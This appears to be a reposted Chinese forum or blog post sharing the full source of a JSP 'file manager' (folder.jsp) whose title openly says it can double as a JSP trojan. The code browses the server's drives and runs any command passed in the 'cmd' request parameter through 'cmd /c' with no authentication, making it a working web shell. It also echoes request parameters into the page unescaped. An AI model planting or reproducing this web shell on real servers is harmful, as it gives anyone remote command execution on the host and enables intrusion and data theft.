JSP檔案管理工具0.5版本,顯示目錄和檔案,支援cmd操作,也可當jsp木馬使用:-)

來源:互聯網
上載者:User
js|木馬|顯示 想慢慢完善一下這個 folder.jsp 小程式,增加一些功能,比如檔案編輯,刪除等
目錄操作(建立新目錄,刪除目錄等等)

程式寫的比較亂,以後慢慢整理整理

歡迎大家多提寶貴意見。




<%
/**

Jsp File Manger V0.5 windows平台的
檔案名稱: folder.jsp
描述: 一個簡單的系統檔案目錄顯示程式,類似於資源管理員,不過功能弱多了。通過這個例子主要是學習一下SYstem.IO.File類 。
作者: 慈勤強
Emai : cqq1978@Gmail.com
*/
%>

<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*" %>
<%@page import="java.util.*"%>
<style>
td,select,input,body
{
font-size:9pt;
}
A { TEXT-DECORATION: none }
</style>
<title>Jsp File Manger Version0.5 --bY 慈勤強 cqq1978@Gmail.com</title>
<%!
String getDrivers()
/**
Windows系統上取得可用的所有邏輯盤
**/
{
StringBuffer sb=new StringBuffer("磁碟機 : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append("<a href='?path="+roots[i]+"'>");
sb.append(roots[i]+"</a>   ");
}
return sb.toString();
}
%>
<%
String strThisFile="folder.jsp";
request.setCharacterEncoding("gb2312");
String strDir = request.getParameter("path");

if(strDir==null||strDir.length()<1)
{
strDir = "c:\\";
}
StringBuffer sb=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>目前的目錄: <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");
sb.append("上級目錄</a><br>- - - - - - - - - - - </td></tr>\r\n");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sb.append("<tr><td > </td><td>");
sb.append("<a href='?path="+list[i].getAbsolutePath()+"'>"+list[i].getName()+"</a>");
sb.append("</td></tr>");
//sb.append("</td></tr></table>\r\n");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();

if(lFile>1000000)
{
lFile=lFile/1000000;
strLen="" + lFile + " M";
}
else if(lFile>1000)
{
lFile=lFile/1000;
strLen="" + lFile + " K";
}
else
{
strLen="" + lFile + " Byte";
}
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append("<!--修改 刪除 下載 複製--> ");
sbFile.append("</td></tr>\r\n");
//sbFile.append("</td></tr></table>");
}

}
//out.println(sb.toString()+sbFile.toString());
}
catch(Exception e)
{
out.println("<font color=red>操作失敗: "+e.toString()+"</font>");
}
%>


<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">

<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">

<%=sb%>
</tr>
</table>
</td>
<td width="81%" align="center" valign="top">
<table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
<tr bgcolor="#E7e7e6">
<td width="26%">檔案名稱</td>
<td width="19%" align="center">檔案大小</td>
<td width="29%" align="center">修改時間</td>
<td width="26%" align="center">檔案操作</td>
</tr>
<%=sbFile%>
<!-- <tr align="center">
<td colspan="4"><br>
總計檔案個數:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
KB </td>
</tr>
-->
</table>
</td>
</tr>
</table>

<%
String strCmd="";
String line="";
StringBuffer sbCmd=new StringBuffer("");
strCmd = request.getParameter("cmd");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}

%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type=submit name=submit value="執行">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<%
}
%>




相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。